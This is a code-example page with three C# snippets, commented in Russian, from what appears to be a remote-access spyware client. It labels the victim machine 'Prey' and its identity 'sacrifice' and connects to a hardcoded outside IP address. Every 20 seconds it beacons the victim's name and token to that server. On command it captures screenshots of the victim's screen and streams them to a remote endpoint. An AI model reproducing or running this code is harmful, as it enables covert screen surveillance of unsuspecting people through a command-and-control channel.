コード例 #1
0
 private void _Start_Task(Prey my)
 {
     byte[] _onl = BaseTool.Convertbtst("[prey_online][" + my.Name_sacrifice + "][" + my.Token_sacrifice + "]");
     while (true)
     {
         servcon.server_conect.Send(_onl, _onl.Length, servcon.Server_adress);
         Thread.Sleep(20000);
     }
 }
コード例 #2
0
        static void Main(string[] args)
        {
            WhaitAllData.Updatedata = false;
            //byte[] t = new byte[2];
            //t = BitConverter.GetBytes((int)259);
            //int j=0;
            //while (true)
            //{
            //    testRFB.Start(j++);
            //}
            Prey _My;

            server1 = new Connection("195.128.124.171", 19999);//("195.128.124.171", 19999);
            if (server1.isConnect)
            {
                _My = new Prey(server1);
                Console.WriteLine(_My.Name_sacrifice + " " + _My.Token_sacrifice);
                server1._SendPreyOnline(_My);
                Console.WriteLine("Ожидаем команды");
                // IPEndPoint ipclient = Connection._WhaitAutorization(server1);
                // PrtSC.StartPrtSC(server1, ipclient);
                Start_recive();

                while (true)
                {
                    while (!WhaitAllData.ForPreyConnect)
                    {
                        //string mess=BaseTool.Convertbtst(  server1.Whait_recive());
                        //  if(BaseTool._GetArrSplit( mess)[0]=="OK")
                        //  {
                        //      break;
                        //  }
                        Thread.Sleep(1);
                    }

                    while (!WhaitAllData.startWatch)
                    {
                        //string mess=BaseTool.Convertbtst(  server1.Whait_recive());
                        //  if(BaseTool._GetArrSplit( mess)[0]=="OK")
                        //  {
                        //      break;
                        //  }
                        Thread.Sleep(1);
                    }


                    IPEndPoint ipclient = WhaitAllData.Ip;
                    PrtSC.CutInToParts(server1, ipclient);
                    WhaitAllData.restartWatch = false;


                    while (!WhaitAllData.stopWatch)
                    {
                        //WhaitAllData.Updatedata = true;
                        PrtSC.Update(server1, ipclient);

                        //WhaitAllData.Updatedata = false;
                        Thread.Sleep(Resolution.speed);
                    }

                    WhaitAllData.stopWatch      = false;
                    WhaitAllData.startWatch     = false;
                    WhaitAllData.ForPreyConnect = false;
                }
            }
            //ожидаем ответа от клиента

            else
            {
                Console.WriteLine("Сервер недоступен!");
                Console.ReadLine();
            }
        }
コード例 #3
0
 public void _SendPreyOnline(Prey my)
 {
     var s = Task.Run(() => { _Start_Task(my); });
 }